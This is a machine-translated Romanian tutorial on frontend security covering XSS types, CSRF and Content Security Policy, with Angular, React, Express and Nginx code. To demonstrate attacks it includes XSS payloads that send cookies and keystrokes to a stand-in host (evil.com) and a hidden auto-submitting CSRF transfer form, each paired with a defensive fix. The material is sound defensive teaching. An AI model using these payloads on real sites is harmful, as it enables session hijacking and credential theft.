02 - XSS, CSRF și CSP: Securitate Frontend
Interfața este primul punct de contact între utilizator și aplicația dvs. Fiecare câmp de intrare, fiecare URL, fiecare solicitare HTTP reprezintă un potențial vector de atac. În 2025, cu o singură pagină Aplicație (SPA), aplicație web progresivă (PWA) și arhitecturi hibride SSR/CSR, suprafața de atac al frontend-ului s-a extins enorm. Trei acronime domină securitatea frontend: XSS (Cross-Site Scripting), CSRF (falsificare cerere între site-uri) e CSP (Politica de securitate a conținutului). Stăpânirea acestor trei domenii înseamnă protecție utilizatorii dvs. de la furtul de sesiuni, efectuarea de acțiuni neautorizate și injectarea cod rău intenționat.
În acest articol vom analiza fiecare atac în profunzime, cu exemple reale de cod vulnerabil și configurații practice și sigure și o listă de verificare completă pentru a vă asigura Aplicare unghiulară.
Ce vei învăța
- Cele trei tipuri de XSS (reflectat, stocat, bazat pe DOM) cu exemple reale de încărcare utilă
- Cum funcționează un atac CSRF și de ce cookie-urile nu sunt suficiente
- Toate directivele CSP cu configurații practice pentru Angular, Express și Nginx
- Anteturile HTTP de securitate esențiale și cum să le configurați
- Protecțiile XSS și CSRF încorporate în Angular și cum să nu le dezactivați
- de ce 86% din codul generat de AI eșuează testele XSS
- Instrumente profesionale pentru testarea securității frontend
Suprafața de atac a front-end-ului modern
O aplicație web modernă nu mai este o simplă pagină HTML servită de server. SPA-uri ca cele construite cu Angular, React sau Vue mâner de rutare, stare, autentificare și logică afaceri direct în browserul dvs. Aceasta deplasează o parte semnificativă a suprafeței atac de la server la client.
Iată principalii vectori de atac din frontend-ul modern:
- Intrarea utilizatorului neigienizat: câmpuri de text, URL, șir de interogare, hash fragment, cookie, antet HTTP, încărcare fișier, stocare locală, mesaje WebSocket
- Redare DOM dinamică:
innerHTML,document.write(), șiruri de șablon fără escape, randare condiționată bazată pe date externe - Dependențe de la terți: Biblioteci JavaScript încărcate de CDN, scripturi de analiză, widget-uri sociale, fonturi externe
- Comunicare între origini: Solicitări API, postMessage, încorporare iframe, conexiuni WebSocket
- Stocare locală: localStorage, sessionStorage, IndexedDB pot conține date sensibile accesibile prin scripturi rău intenționate
Date critice: Incidența atacurilor frontale
Potrivit raportului HackerOne 2025, Cross-Site Scripting rămâne cea mai mare vulnerabilitate raportat în programele de recompense pentru erori, reprezentând 18% din toate rapoartele. Urmează CSRF la 7%. Împreună, aceste două atacuri reprezintă un sfert din total vulnerabilități găsite de cercetătorii profesioniști în securitate.
Cross-Site Scripting (XSS): Cel mai popular atac
Il Cross-Site Scripting (XSS) apare atunci când un atacator reușește să injecteze și executați cod JavaScript în browserul altui utilizator, în contextul unui site web de încredere. Atacul exploatează încrederea pe care browserul utilizatorului o are față de site: codul injectat rulează cu aceleași privilegii ca JavaScript legitim al aplicației și, prin urmare, poate accesați cookie-uri, sesiuni, token-uri și orice date de pe pagină.
Există trei variante principale de XSS, fiecare cu un mecanism de injectare diferit:
1. XSS reflectat (non-persistent)
Il XSS reflectat apare atunci când intrarea utilizatorului este inclusă în Răspuns HTTP server fără dezinfectare. Sarcina utilă rău intenționată este conținută în URL și vine „reflectat” în pagina HTML. Atacatorul trebuie să convingă victima să facă clic pe un link construit special (phishing, inginerie socială).
// L'attaccante costruisce questo URL e lo invia alla vittima:
https://shop.example.com/search?q=<script>
fetch('https://evil.com/steal?cookie='+document.cookie)
</script>
// Il server genera la pagina con il termine di ricerca non sanitizzato:
<h2>Risultati per: <script>fetch('https://evil.com/steal?...')</script></h2>
// Il browser della vittima esegue lo script: il cookie di sessione
// viene inviato al server dell'attaccante
// VULNERABILE: il parametro viene inserito direttamente nell'HTML
app.get('/search', (req, res) => {
const query = req.query.q;
res.send(`
<h2>Risultati per: ${query}</h2>
<div id="results">...</div>
`);
});
// SICURO: output encoding con escape dei caratteri HTML
import { escape as escapeHtml } from 'lodash';
app.get('/search', (req, res) => {
const query = escapeHtml(req.query.q || '');
res.send(`
<h2>Risultati per: ${query}</h2>
<div id="results">...</div>
`);
});
// <script> diventa <script> - non viene eseguito
2. XSS stocat (persistent)
Lo XSS stocat și cea mai periculoasă variantă. Sarcina utilă rău intenționată este salvată permanent în baza de date a serverului (de exemplu într-un comentariu, în profilul utilizatorului, într-un mesaj) și este oferit fiecărui utilizator care vizualizează resursa respectivă. Nu necesită ca victima face clic pe un link special: trebuie doar să vizitați pagina contaminată.
// L'attaccante inserisce questo commento nel blog:
const maliciousComment = `
Ottimo articolo!
<img src="x" onerror="
// Keylogger: cattura tutto ciò che l'utente digita
document.addEventListener('keypress', function(e) {
fetch('https://evil.com/keys?k=' + e.key);
});
">
`;
// VULNERABILE: il commento viene salvato e renderizzato senza sanitizzazione
app.post('/api/comments', async (req, res) => {
await db.comments.insert({
text: req.body.text, // Nessuna sanitizzazione!
author: req.user.id,
date: new Date()
});
res.json({ success: true });
});
// Nella pagina del blog, il commento viene inserito con innerHTML:
commentDiv.innerHTML = comment.text; // Lo script viene eseguito!
// SICURO: sanitizzazione sia in input che in output
import DOMPurify from 'dompurify';
import { escape as escapeHtml } from 'lodash';
app.post('/api/comments', async (req, res) => {
// Sanitizzazione in input: rimuovi tag pericolosi
const cleanText = DOMPurify.sanitize(req.body.text, {
ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p', 'br'],
ALLOWED_ATTR: ['href']
});
await db.comments.insert({
text: cleanText,
author: req.user.id,
date: new Date()
});
res.json({ success: true });
});
// In output: usa textContent invece di innerHTML quando possibile
commentDiv.textContent = comment.text;
3. XSS bazat pe DOM
Il XSS bazat pe DOM și cel mai insidios pentru că sarcina utilă nu trece niciodată
serverul. Atacul are loc în întregime în browser: un cod JavaScript legitim pe pagină
citește date dintr-o sursă controlată de atacator (URL, fragment hash, document.referrer,
postMessage) și le introduce în DOM fără igienizare.
// VULNERABILE: legge dal fragment hash e inserisce nel DOM
// URL malevolo: https://app.example.com/#<img src=x onerror=alert(document.cookie)>
const userInput = document.location.hash.substring(1);
document.getElementById('content').innerHTML = decodeURIComponent(userInput);
// Il browser esegue il codice nell'attributo onerror!
// VULNERABILE: document.referrer usato come sink
document.getElementById('back-link').innerHTML =
'<a href="' + document.referrer + '">Torna indietro</a>';
// document.referrer può contenere payload XSS
// VULNERABILE: postMessage senza validazione dell'origine
window.addEventListener('message', (event) => {
// Accetta messaggi da qualsiasi origine!
document.getElementById('widget').innerHTML = event.data.html;
});
// SICURO: sanitizzazione e validazione
import DOMPurify from 'dompurify';
const userInput = document.location.hash.substring(1);
const decoded = decodeURIComponent(userInput);
document.getElementById('content').textContent = decoded; // textContent, non innerHTML
// SICURO: postMessage con validazione dell'origine
window.addEventListener('message', (event) => {
if (event.origin !== 'https://trusted.example.com') {
return; // Rifiuta messaggi da origini non fidate
}
const cleanHtml = DOMPurify.sanitize(event.data.html);
document.getElementById('widget').innerHTML = cleanHtml;
});
Impactul real al atacurilor XSS
Un atac XSS de succes poate provoca daune enorme. Iată ce poate face un atacator o dată care rulează JavaScript în browserul victimei:
| Tip de atac | Descriere | Severitate |
|---|---|---|
| Deturnarea sesiunii | Furtul cookie-ului de sesiune pentru a uzurpa identitatea utilizatorului | Critică |
| Înregistrarea tastelor | Captarea fiecărei taste apăsate de utilizator (parole, cărți de credit) | Critică |
| Desfigurare | Modificarea conținutului vizibil al paginii pentru a deteriora reputația | Ridicat |
| phishing | Injectarea de formulare de conectare false pentru a fura acreditările | Critică |
| Crypto Mining | Rularea de mineri de criptomonede în browserul victimei | Medie |
| Viermi XSS | Script care se autopropaga prin infectarea profilurilor altor utilizatori | Critică |
| Exfiltrarea datelor | Citirea și trimiterea datelor sensibile din pagină (token, date personale) | Critică |
Prevenirea XSS: Apărare în profunzime
Prevenirea XSS necesită o abordare apărare-în profunzime: nu te baza pe a un singur nivel de apărare, dar combină mai multe tehnici complementare. Scopul este să se asigure că nicio dată de încredere nu poate fi interpretată ca cod de către browser.
1. Codificarea ieșirii (prima linie de apărare)
Codificarea de ieșire transformă caracterele speciale în entități HTML sigure înainte de a le insera în DOM. Și cea mai importantă apărare împotriva XSS reflectate și stocate.
// Contesto HTML: escape dei caratteri HTML
function escapeHtml(str: string): string {
const map: Record<string, string> = {
'&': '&',
'<': '<',
'>': '>',
'"': '"',
"'": ''',
'/': '/'
};
return str.replace(/[&<>"'/]/g, (c) => map[c]);
}
// Contesto attributo HTML
// <div title="USER_INPUT">
const safeAttr = escapeHtml(userInput);
// Contesto URL: codifica i parametri
// <a href="/search?q=USER_INPUT">
const safeUrl = encodeURIComponent(userInput);
// Contesto JavaScript: JSON.stringify con escape
// <script>var data = USER_INPUT;</script>
const safeJs = JSON.stringify(userInput);
// Contesto CSS: evita completamente input utente in CSS
// NON fare mai: element.style.background = userInput;
2. Igienizare de intrare cu DOMPurify
Când trebuie să acceptați HTML de la utilizator (editor de text îmbogățit, markdown), utilizați DOMPurify pentru a elimina orice etichete sau atribute periculoase.
import DOMPurify from 'dompurify';
// Configurazione base: rimuovi tutto il JavaScript
const clean = DOMPurify.sanitize(dirtyHtml);
// Configurazione restrittiva: solo tag formattazione base
const strictClean = DOMPurify.sanitize(dirtyHtml, {
ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p', 'br', 'ul', 'ol', 'li'],
ALLOWED_ATTR: ['href', 'title'],
ALLOW_DATA_ATTR: false
});
// Configurazione per editor rich-text
const richTextClean = DOMPurify.sanitize(dirtyHtml, {
ALLOWED_TAGS: ['h1', 'h2', 'h3', 'p', 'br', 'ul', 'ol', 'li',
'strong', 'em', 'a', 'img', 'blockquote', 'pre', 'code'],
ALLOWED_ATTR: ['href', 'src', 'alt', 'title', 'class'],
ALLOWED_URI_REGEXP: /^(?:(?:https?|mailto):|[^a-z]|[a-z+.-]+(?:[^a-z+.\-:]|$))/i
});
// Hook personalizzato: rimuovi attributi on*
DOMPurify.addHook('uponSanitizeAttribute', (node, data) => {
if (data.attrName.startsWith('on')) {
data.keepAttr = false; // Rimuovi onclick, onerror, onload, etc.
}
});
3. Protectie XSS in Angular
Angular oferă protecție XSS robustă, încorporată. Cadrul se ocupa de toate valorile ca nefiind de încredere în mod implicit și le igienizează automat înainte de a le introduce în DOM. Această protecție funcționează la interpolare, legarea proprietăților și legarea atributelor.
import { Component } from '@angular/core';
import { DomSanitizer, SafeHtml } from '@angular/platform-browser';
@Component({
selector: 'app-comment',
template: `
<!-- SICURO: Angular esegue l'escape automaticamente -->
<p>Commento: {{ userComment }}</p>
<!-- SICURO: Angular sanitizza innerHTML automaticamente -->
<div [innerHTML]="userComment"></div>
<!-- <script> e onerror vengono rimossi automaticamente -->
<!-- SICURO: textContent non interpreta HTML -->
<div [textContent]="userComment"></div>
<!-- PERICOLOSO: bypass del sanitizer -->
<div [innerHTML]="trustedHtml"></div>
`
})
export class CommentComponent {
userComment = '<script>alert("XSS")</script><b>Testo</b>';
trustedHtml: SafeHtml;
constructor(private sanitizer: DomSanitizer) {
// bypassSecurityTrustHtml: SOLO per contenuto che controlli al 100%
// Mai usarlo con input utente!
this.trustedHtml = this.sanitizer.bypassSecurityTrustHtml(
'<div class="safe-content">Contenuto controllato internamente</div>'
);
}
}
Când Angular nu te protejează
- Utilizarea
bypassSecurityTrustHtml/Script/Style/Url/ResourceUrlcu datele utilizatorului - Manipulare directă DOM cu
ElementRef.nativeElement.innerHTML - Utilizarea
document.write()oeval() - Construcția URL dinamică cu
javascript:protocol - Redare pe partea serverului fără codare (şabloane personalizate Angular Universal)
4. Reacționează JSX Auto-Escaping
React oferă, de asemenea, protecție XSS încorporată. JSX scapă automat de toate
valori redate. Singura excepție este prop dangerouslySetInnerHTML, că
ocolește protecția (numele în sine este un avertisment).
// SICURO: JSX esegue l'escape automaticamente
function SafeComponent({ userInput }: { userInput: string }) {
return <p>{userInput}</p>; // <script> diventa testo visibile
}
// PERICOLOSO: bypassa la protezione di React
function UnsafeComponent({ html }: { html: string }) {
return <div dangerouslySetInnerHTML={{ __html: html }} />;
// Se html contiene <script>, viene eseguito!
}
// SICURO: sanitizza prima di usare dangerouslySetInnerHTML
import DOMPurify from 'dompurify';
function SafeRichText({ html }: { html: string }) {
const clean = DOMPurify.sanitize(html);
return <div dangerouslySetInnerHTML={{ __html: clean }} />;
}
Falsificarea cererilor între site-uri (CSRF): atacul invizibil
Il CSRF (Cross-Site Request Forgery) și un atac care forțează browserul unui utilizator autentificat să trimită o solicitare neintenționată unui site la care este deja conectat. A Spre deosebire de XSS, CSRF nu injectează cod în site-ul victimei: exploatează faptul că browserul trimite automat cookie-uri de sesiune cu fiecare cerere către domeniul asociat, indiferent de site-ul care a generat solicitarea.
Cum funcționează un atac CSRF
Fluxul unui atac CSRF urmează acești pași:
- Utilizatorul se autentifică su
bank.example.comși primește un cookie de sesiune - Utilizatorul vizitează un site rău intenționat (
evil.example.com) într-o altă filă - Site-ul rău intenționat conține un formular sau o imagine ascunsă care generează o solicitare către
bank.example.com - Browserul trimite automat cookie-ul de sesiune al utilizatorului cu cererea
- Serverul băncii primește o cerere aparent legitimă și o execută
<!-- Pagina malevola su evil.example.com -->
<html>
<body>
<h1>Congratulazioni! Hai vinto un premio!</h1>
<!-- Form nascosto che effettua un bonifico -->
<form id="csrf-form"
action="https://bank.example.com/api/transfer"
method="POST"
style="display:none">
<input name="to" value="attacker-account-123" />
<input name="amount" value="10000" />
<input name="currency" value="EUR" />
</form>
<!-- Il form viene inviato automaticamente -->
<script>document.getElementById('csrf-form').submit();</script>
<!-- Alternativa: immagine che genera una GET (meno pericolosa) -->
<img src="https://bank.example.com/api/transfer?to=attacker&amount=1000"
style="display:none" />
</body>
</html>
pentru că Cookie-ul nu este suficient
Cookie-urile sunt trimise automat de browser cu fiecare solicitare catre domeniul care le trimite a emis. Serverul nu poate distinge o solicitare legitimă de o cerere numai CSRF Privind cookie-ul: ambele conțin un cookie de sesiune valid. Sunt necesare mecanisme suplimentar pentru a verifica dacă solicitarea provine de la site-ul legitim.
Prevenirea CSRF: patru tehnici fundamentale
1. Atributul cookie SameSite
Atributul SameSite pe cookie-uri și cea mai modernă și eficientă apărare CSRF.
Controlează când browserul trimite cookie-ul cu solicitări între site-uri.
| Valoarea SameSite | Comportament | Protecție CSRF |
|---|---|---|
Strict |
Cookie trimis numai pentru solicitări de pe același site. Nu a fost trimis niciodată pentru solicitări între site-uri, nici măcar pentru link-uri normale | Maxim |
Lax |
Modul cookie trimis pentru navigarea de nivel superior GET (link), dar NU pentru solicitări POST, iframe sau AJAX pe site-uri | Bun (implicit în Chrome) |
None |
Cookie-ul trimis întotdeauna (necesită Secure). Necesar pentru integrări legitime între site-uri |
Nici unul |
import session from 'express-session';
app.use(session({
secret: process.env.SESSION_SECRET!,
cookie: {
httpOnly: true, // Non accessibile da JavaScript
secure: true, // Solo HTTPS
sameSite: 'lax', // Protezione CSRF
maxAge: 3600000, // 1 ora
domain: '.example.com',
path: '/'
},
resave: false,
saveUninitialized: false
}));
2. Model de simbol de sincronizare (Jeton CSRF)
Modelul clasic și cel mai robust: serverul generează un jeton unic aleatoriu per sesiune, iată îl include în formular ca câmp ascuns și îl verifică cu fiecare solicitare POST. Un site rău intenționat nu poate cunoaște jetonul deoarece nu are acces la DOM-ul site-ului legitim.
import crypto from 'crypto';
// Middleware: genera il CSRF token e lo salva nella sessione
function csrfTokenMiddleware(req: Request, res: Response, next: NextFunction) {
if (!req.session.csrfToken) {
req.session.csrfToken = crypto.randomBytes(32).toString('hex');
}
// Rendi il token disponibile nei template
res.locals.csrfToken = req.session.csrfToken;
next();
}
// Middleware: verifica il CSRF token nelle richieste POST/PUT/DELETE
function csrfValidation(req: Request, res: Response, next: NextFunction) {
if (['POST', 'PUT', 'DELETE', 'PATCH'].includes(req.method)) {
const token = req.body._csrf || req.headers['x-csrf-token'];
if (!token || token !== req.session.csrfToken) {
return res.status(403).json({ error: 'Token CSRF non valido' });
}
}
next();
}
// Nel form HTML:
// <input type="hidden" name="_csrf" value="TOKEN_GENERATO">
3. Trimiteți dublu model cookie
Alternativă fără stat: serverul trimite jetonul CSRF atât ca cookie, cât și ca câmp de formular. La primire, verificați dacă ambele valori se potrivesc. Un site rău intenționat poate trimite cookie (browserul face acest lucru automat), dar nu poate citi valoarea cookie-ului pentru includeți-l în corpul cererii.
import crypto from 'crypto';
// Il server genera il token e lo invia come cookie
function setDoubleSubmitToken(req: Request, res: Response, next: NextFunction) {
const token = crypto.randomBytes(32).toString('hex');
res.cookie('csrf-token', token, {
httpOnly: false, // Il JavaScript del sito deve poterlo leggere
secure: true,
sameSite: 'lax',
path: '/'
});
next();
}
// Validazione: il valore nel cookie deve corrispondere a quello nell'header
function validateDoubleSubmit(req: Request, res: Response, next: NextFunction) {
if (['POST', 'PUT', 'DELETE', 'PATCH'].includes(req.method)) {
const cookieToken = req.cookies['csrf-token'];
const headerToken = req.headers['x-csrf-token'];
if (!cookieToken || !headerToken || cookieToken !== headerToken) {
return res.status(403).json({ error: 'CSRF validation failed' });
}
}
next();
}
4. Validare antet origine/referer
Verificați dacă antetul Origin o Referer a cererii corespunde
la domeniul site-ului. Și o apărare suplimentară, nu primară, pentru că aceste anteturi pot fi
absentă în unele contexte.
const ALLOWED_ORIGINS = [
'https://app.example.com',
'https://www.example.com'
];
function validateOrigin(req: Request, res: Response, next: NextFunction) {
if (['POST', 'PUT', 'DELETE', 'PATCH'].includes(req.method)) {
const origin = req.headers.origin || req.headers.referer;
if (!origin) {
// Fail-closed: se manca l'origin, rifiuta la richiesta
return res.status(403).json({ error: 'Origin header mancante' });
}
const requestOrigin = new URL(origin).origin;
if (!ALLOWED_ORIGINS.includes(requestOrigin)) {
return res.status(403).json({ error: 'Origin non autorizzato' });
}
}
next();
}
Protecție CSRF în unghiular
Angular oferă suport CSRF încorporat prin HttpClient. Când serverul trimite
un fursec XSRF-TOKEN, Angular îl citește automat și îl include ca antet
X-XSRF-TOKEN în fiecare cerere mutativă (POST, PUT, DELETE, PATCH).
// app.config.ts - Angular legge XSRF-TOKEN e invia X-XSRF-TOKEN automaticamente
import { provideHttpClient, withXsrfConfiguration } from '@angular/common/http';
export const appConfig = {
providers: [
provideHttpClient(
withXsrfConfiguration({
cookieName: 'XSRF-TOKEN', // Nome del cookie (default)
headerName: 'X-XSRF-TOKEN' // Nome dell'header (default)
})
)
]
};
// Server Express: imposta il cookie XSRF-TOKEN
import csurf from 'csurf';
app.use(csurf({
cookie: {
key: 'XSRF-TOKEN',
httpOnly: false, // Angular deve poterlo leggere
secure: true,
sameSite: 'lax'
}
}));
Politica de securitate a conținutului (CSP): Apărarea supremă împotriva XSS
La Politica de securitate a conținutului (CSP) și un antet HTTP care vă permite să verificați
ce resurse poate încărca și executa browserul. Și cea mai puternică apărare împotriva XSS pentru că
operează la nivel de browser: chiar dacă un atacator reușește să injecteze unul <script>
în DOM, browserul va refuza să îl execute dacă nu este autorizat de politica CSP.
CSP funcționează pe principiul lista albă: Definiți în mod explicit care dintre ele sursele sunt autorizate pentru fiecare tip de resursă (scripturi, stiluri, imagini, fonturi, conexiuni). Orice lucru care nu este permis în mod explicit este blocat.
CSP prin Header vs Meta Tag
// 1. Header HTTP (preferito - più sicuro, supporta report-uri)
Content-Security-Policy: default-src 'self'; script-src 'self'
// 2. Meta tag HTML (fallback se non puoi controllare gli header)
<meta http-equiv="Content-Security-Policy"
content="default-src 'self'; script-src 'self'">
// NOTA: il meta tag NON supporta frame-ancestors e report-uri
Ghid detaliate CSP
| Directivă | Verifica | Exemplu |
|---|---|---|
default-src |
De rezervă pentru toate celelalte directive nespecificate | 'self' |
script-src |
Surse de script JavaScript | 'self' 'nonce-abc123' |
style-src |
Surse pentru foile de stil CSS | 'self' https://fonts.googleapis.com |
img-src |
Surse de imagine | 'self' data: https: |
connect-src |
URL pentru preluare, XHR, WebSocket, EventSource | 'self' https://api.example.com |
font-src |
Surse de fonturi | 'self' https://fonts.gstatic.com |
frame-src |
Surse pentru iframe | 'none' |
frame-ancestors |
Cine poate încorpora pagina într-un iframe | 'none' (anti-clickjacking) |
base-uri |
Adrese URL valide pentru etichetă <base> |
'self' |
form-action |
Adrese URL valide pentru atributul de acțiune al formularelor | 'self' |
object-src |
Surse pentru pluginuri (Flash, Java Applet) | 'none' |
Nonce și strict-dinamic: CSP modern
Sistemul nonce și cel mai sigur mod de a autoriza anumite scripturi. Serverul
generează o valoare aleatorie pentru fiecare cerere și o include atât în antetul CSP, cât și în atribut
script nonce. Sunt executate doar scripturile cu nonce corect.
import crypto from 'crypto';
// Middleware Express: genera un nonce per ogni richiesta
app.use((req, res, next) => {
const nonce = crypto.randomBytes(16).toString('base64');
res.locals.cspNonce = nonce;
res.setHeader('Content-Security-Policy', [
"default-src 'self'",
`script-src 'nonce-${nonce}' 'strict-dynamic'`,
"style-src 'self' 'unsafe-inline' https://fonts.googleapis.com",
"img-src 'self' data: https:",
"font-src 'self' https://fonts.gstatic.com",
"connect-src 'self' https://api.example.com",
"frame-ancestors 'none'",
"base-uri 'self'",
"form-action 'self'",
"object-src 'none'"
].join('; '));
next();
});
// Nel template HTML:
// <script nonce="NONCE_GENERATO">...codice legittimo...</script>
// Con 'strict-dynamic': gli script caricati da script con nonce
// sono automaticamente autorizzati (cascading trust)
de ce Evitați „unsafe-inline” pentru Scripturi
Directiva 'unsafe-inline' in script-src aproape se anulează
Protecție CSP completă împotriva XSS. Permite executarea oricărui script
inline, inclusiv cele injectate de un atacator. Dacă aveți nevoie de script inline, utilizați
nonce o hash în loc de 'unsafe-inline'.
Pentru stiluri, 'unsafe-inline' și adesea necesare și mai puțin periculoase.
Modul doar raport CSP
Înainte de a activa CSP în producție, utilizați Content-Security-Policy-Report-Only pentru
monitorizați încălcările fără a le bloca. Acest lucru vă permite să identificați și să rezolvați problema
probleme de compatibilitate înainte de aplicarea politicii.
// Report-Only: monitora senza bloccare
res.setHeader('Content-Security-Policy-Report-Only',
"default-src 'self'; " +
"script-src 'self'; " +
"report-uri /api/csp-report; " +
"report-to csp-endpoint"
);
// Endpoint per ricevere i report di violazione
app.post('/api/csp-report', express.json({ type: 'application/csp-report' }),
(req, res) => {
const violation = req.body['csp-report'];
console.log('CSP Violation:', {
documentUri: violation['document-uri'],
violatedDirective: violation['violated-directive'],
blockedUri: violation['blocked-uri'],
sourceFile: violation['source-file'],
lineNumber: violation['line-number']
});
res.status(204).end();
}
);
Practical CSP: Configurare pentru medii reale
Configurare CSP pentru Angular cu Express.js
import helmet from 'helmet';
import crypto from 'crypto';
app.use((req, res, next) => {
res.locals.cspNonce = crypto.randomBytes(16).toString('base64');
next();
});
app.use(helmet({
contentSecurityPolicy: {
directives: {
defaultSrc: ["'self'"],
scriptSrc: [
"'self'",
(req, res) => `'nonce-${res.locals.cspNonce}'`,
"'strict-dynamic'",
"https://www.googletagmanager.com"
],
styleSrc: [
"'self'",
"'unsafe-inline'", // Necessario per Angular styles
"https://fonts.googleapis.com"
],
imgSrc: ["'self'", "data:", "https:"],
fontSrc: ["'self'", "https://fonts.gstatic.com"],
connectSrc: [
"'self'",
"https://api.example.com",
"https://www.google-analytics.com"
],
frameAncestors: ["'none'"],
objectSrc: ["'none'"],
baseUri: ["'self'"],
formAction: ["'self'"],
upgradeInsecureRequests: []
}
},
crossOriginEmbedderPolicy: false
}));
Configurație CSP pentru Nginx
server {
listen 443 ssl http2;
server_name example.com;
# Content Security Policy
add_header Content-Security-Policy
"default-src 'self'; "
"script-src 'self' https://www.googletagmanager.com; "
"style-src 'self' 'unsafe-inline' https://fonts.googleapis.com; "
"img-src 'self' data: https:; "
"font-src 'self' https://fonts.gstatic.com; "
"connect-src 'self' https://api.example.com; "
"frame-ancestors 'none'; "
"base-uri 'self'; "
"form-action 'self'; "
"object-src 'none'; "
"upgrade-insecure-requests"
always;
# Altri header di sicurezza (vedi sezione dedicata)
add_header X-Frame-Options "DENY" always;
add_header X-Content-Type-Options "nosniff" always;
add_header Referrer-Policy "strict-origin-when-cross-origin" always;
add_header Permissions-Policy "camera=(), microphone=(), geolocation=()" always;
}
Elemente esențiale de securitate pentru anteturile HTTP
Pe lângă CSP, există și alte anteturi HTTP care întăresc semnificativ securitatea a aplicației dvs. Fiecare protejează împotriva unui anumit tip de atac.
| Antet | Valoare recomandată | Protecţie |
|---|---|---|
X-Frame-Options |
DENY |
Previne clickjacking (încorporarea iframe) |
X-Content-Type-Options |
nosniff |
Împiedică mirosul MIME (browserul nu ghicește tipul de conținut) |
Strict-Transport-Security |
max-age=31536000; includeSubDomains; preload |
Forțați HTTPS pentru toate conexiunile viitoare (HSTS) |
Referrer-Policy |
strict-origin-when-cross-origin |
Controlează ce informații sunt trimise în antetul Referer |
Permissions-Policy |
camera=(), microphone=(), geolocation=() |
Dezactivați API-urile de browser inutile |
X-XSS-Protection |
0 |
Dezactivați filtrul XSS vechi al browserului (poate crea vulnerabilități) |
Cross-Origin-Opener-Policy |
same-origin |
Izolează contextul de navigare de documentele cu origini încrucișate |
Cross-Origin-Resource-Policy |
same-origin |
Previne încărcarea încrucișată a activelor |
import helmet from 'helmet';
app.use(helmet({
// CSP (configurata separatamente per il nonce)
contentSecurityPolicy: false,
// Previeni clickjacking
frameguard: { action: 'deny' },
// Previeni MIME sniffing
noSniff: true,
// HSTS: forza HTTPS per 1 anno
hsts: {
maxAge: 31536000,
includeSubDomains: true,
preload: true
},
// Referrer Policy
referrerPolicy: { policy: 'strict-origin-when-cross-origin' },
// Disabilita il filtro XSS legacy (può essere sfruttato)
xssFilter: false,
// Cross-Origin policies
crossOriginOpenerPolicy: { policy: 'same-origin' },
crossOriginResourcePolicy: { policy: 'same-origin' }
}));
// Permissions Policy (non gestito da Helmet)
app.use((req, res, next) => {
res.setHeader('Permissions-Policy',
'camera=(), microphone=(), geolocation=(), payment=()');
next();
});
Testarea antetelor dvs
După configurarea anteturilor, verificați rezultatul cu aceste instrumente gratuite:
- securityheaders.com - Analiza completă a antetului HTTP evaluată A-F
- observatory.mozilla.org - Scanner de securitate Mozilla
- csp-evaluator.withgoogle.com - Validator specific Google CSP
Securitate în Angular: Protecții integrate
Angular implementează un sistem de securitate robust care protejează dezvoltatorii de cele mai comune vulnerabilități. Este important să înțelegeți cum funcționează pentru a nu-l dezactiva din neatenție.
Igienizarea automată a DOM
Angular clasifică valorile în cinci contexte de securitate, și aplicați igienizare diferită pentru fiecare:
| Context | Metoda de ocolire | Când să-l folosești |
|---|---|---|
| HTML | bypassSecurityTrustHtml() |
Conținut HTML din CMS de încredere |
| Stil | bypassSecurityTrustStyle() |
Stiluri dinamice calculate intern |
| URL | bypassSecurityTrustUrl() |
URL-uri construite după logica internă |
| Adresa URL a resursei | bypassSecurityTrustResourceUrl() |
URL pentru scripturi/iframe de la CDN-uri de încredere |
| Scripturi | bypassSecurityTrustScript() |
Aproape niciodată - extrem de periculos |
import { Component, inject } from '@angular/core';
import { DomSanitizer } from '@angular/platform-browser';
@Component({
selector: 'app-safe-content',
template: `
<!-- SICURO: Angular sanitizza automaticamente -->
<div [innerHTML]="htmlContent"></div>
<!-- SICURO: textContent non interpreta HTML -->
<span [textContent]="userInput"></span>
<!-- SICURO con bypass controllato -->
<iframe [src]="safeSrc"></iframe>
<!-- PERICOLOSO: non fare mai questo -->
<div [innerHTML]="unsafeBypass"></div>
`
})
export class SafeContentComponent {
private sanitizer = inject(DomSanitizer);
htmlContent = '<b>Bold</b><script>alert(1)</script>';
// Angular rimuove <script>, mantiene <b>
userInput = '<script>alert(1)</script>';
// Renderizzato come testo visibile
// SICURO: URL hardcoded e fidato
safeSrc = this.sanitizer.bypassSecurityTrustResourceUrl(
'https://www.youtube.com/embed/video-id'
);
// PERICOLOSO: MAI con input utente
unsafeBypass = this.sanitizer.bypassSecurityTrustHtml(
this.getUserInput() // Potrebbe contenere XSS!
);
private getUserInput(): string {
return ''; // Simulazione
}
}
Protecție HttpClient XSRF
Forma HttpClient Angular acceptă în mod nativ protecția CSRF prin intermediul
mecanism cookie de trimitere dublă. Pentru a-l activa, lăsați serverul să seteze cookie-ul
XSRF-TOKEN: Angular îl va citi automat și îl va include ca antet
X-XSRF-TOKEN în fiecare solicitare POST, PUT, DELETE și PATCH.
// app.config.ts
import {
provideHttpClient,
withXsrfConfiguration,
withInterceptors
} from '@angular/common/http';
export const appConfig = {
providers: [
provideHttpClient(
// XSRF automatico
withXsrfConfiguration({
cookieName: 'XSRF-TOKEN',
headerName: 'X-XSRF-TOKEN'
}),
// Interceptor personalizzati
withInterceptors([authInterceptor, errorInterceptor])
)
]
};
// auth.interceptor.ts
import { HttpInterceptorFn } from '@angular/common/http';
export const authInterceptor: HttpInterceptorFn = (req, next) => {
// Aggiungi Authorization solo per le API interne
if (req.url.startsWith('/api/')) {
const token = localStorage.getItem('access_token');
if (token) {
const authReq = req.clone({
setHeaders: { Authorization: `Bearer ${token}` }
});
return next(authReq);
}
}
return next(req);
};
CSP și Angular: provocări și soluții
Angular generează stiluri inline pentru componente (parte din View Encapsulation). Acest lucru necesită
'unsafe-inline' in style-src, care din fericire este mult mai puțin
periculos decât 'unsafe-inline' in script-src. Pentru scripturi, utilizați
întotdeauna sistemul nonce.
// server.ts - Angular Universal con nonce CSP
import { ngExpressEngine } from '@nguniversal/express-engine';
import crypto from 'crypto';
app.engine('html', ngExpressEngine({
bootstrap: AppServerModule
}));
app.get('*', (req, res) => {
const nonce = crypto.randomBytes(16).toString('base64');
// Imposta CSP con il nonce
res.setHeader('Content-Security-Policy',
`default-src 'self'; ` +
`script-src 'self' 'nonce-${nonce}' 'strict-dynamic'; ` +
`style-src 'self' 'unsafe-inline' https://fonts.googleapis.com; ` +
`font-src 'self' https://fonts.gstatic.com; ` +
`img-src 'self' data: https:; ` +
`connect-src 'self' https://api.example.com; ` +
`frame-ancestors 'none'; ` +
`base-uri 'self'`
);
